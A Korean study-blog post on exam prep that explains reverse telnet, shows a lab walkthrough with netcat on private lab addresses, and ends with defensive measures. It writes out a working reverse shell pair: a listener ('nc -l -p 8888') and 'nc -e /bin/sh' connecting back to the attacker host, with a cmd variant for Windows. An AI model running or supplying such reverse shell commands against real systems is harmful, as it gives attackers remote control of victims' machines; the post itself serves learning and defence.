반응형

이번에 이 주제를 쓰는 이유는 정보보안 산업기사 실무형 문제로 netcat으로 리버스 쉘하는 방법이 나왔는데 정확히 기억이 안나가지고 통탄스러워서 다시 정리하는 겸해서 씁니다..이 방법을 악용하면 안되요. 


리버스텔넷이란??

리버스 텔넷 기술은 방화벽이 존재하는 시스템을 공격할 때 자주 사용되는 기법중 하나이다. 방화벽 정책에서 인바운드 정책은 일반적으로 화이트 리스트를 채택하는 경우가 많다. 하지만 아웃바운드 정책에는 별 다른 블록을 설정하지 않기때문에 이러한 경우에는 리버스 텔넷이 유효하게 적용 할 수 있다.

리버스 텔넷을 간략하게 설명을 하자면 먼저 공격자가 자신의 포트를 열어두고 기다리고 있다가 공격자가 피해자의 컴퓨터에 침투를 하였을 때 피해자의 컴퓨터로 아까전에 열어두었던 공격자의 포트로 먼저 붙게 되는 방식이다. 이러한 방식을 사용하면 인바운드 정책에 걸리지 않고 연결이 된다.


일반적으로 허용되지 않은 경로면 방화벽에서 차단하게 된다.




하지만 내부에서 외부로 나가는건 보통 차단을 안시켜놓기 때문에 수월하게 접속이 가능하다.



이제 netcat을 이용하여 간단하게 실습을 해보자. 

만약 netcat이 없다면 아래의 링크를 통해 다운을 받거나 다른 곳에서 찾아서 다운을 받는다.

https://eternallybored.org/misc/netcat/

하지만 필자는 윈도우에서 하지않고 우분투와 칼리리눅스를 이용하여 실습을 진행 할 것이다.

공격자 IP



피해자 IP


공격자 IP : 192.168.145.133 / 우분투 14.04

피해자 IP : 192.168.145.131 / 칼리리눅스 2.0



1. 먼저 공격자가 포트를 연다.

nc -l -p (포트번호)

nc -l -p 8888

-l은 열고 있겠다는 뜻이고 -p 는 포트다. 

여기서 포트번호는 아무거나 설정해도되는데 이왕 1024 이상의 값으로 하는게 낫다.




2. 피해자의 컴퓨터에서 연결을 시도한다.

nc -e (실행파일) (공격자IP) (포트번호)

nc -e /bin/sh 192.168.145.133 8888

-e 는 연결이 되면 다음에 있는 파일을 자동으로 실행하게 한다.


※여기서 -e명령어가 안되는 경우가 있는데 최근 버전에는 안전성의 문제로 -e의 명령어는 없애고 나오는 추세이다. 따라서 따로 추가를 하거나 구버전을 다운받아 사용해야 한다.


※ 리눅스에서는 /bin/sh을 쓰고 윈도우에서 똑같은 결과를 얻을려면 /bin/sh대신 cmd를 넣으면 된다.



3. 제대로 성공했는지 확인한다.

공격자의 컴퓨터에서 ifconfig를 하면 피해자의 IP인 192.168.145.131이 나온다.



다른 명령어는 쳐도 피해자의 명령어 결과가 나온다.



해보면 정말 간단하다는 것을 알 수있다. 그런데 이걸 틀렸으니 너무 화가 난다. 


리버스 텔넷을 막는 방법은 아웃바운드 정책을 적절하게 설정을 하거나 /bin/sh 등 쉘 접근이나 cmd의 동작을 실시간으로 감시하여 처리하는 방법, 처음부터 리버스 텔넷을 시도하지 못하게 파일업로드 취약점 등을 잘 방지 하는등 충분한 대비를 마련해야 할 것이다.



netcat을 사용하는 무궁무진한 방법중 하나이다. 물론 netcat을 이용하지 않고서도 리버스 텔넷을 할 수 있다. 하지만 netcat은 이것뿐만아니라 다른 것도 많이 지원하기때문에 잘 사용하면 정말 좋은 프로그램이나 잘못 쓸 경우 큰일이 날 수 있음을 조심하자.  


반응형
  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기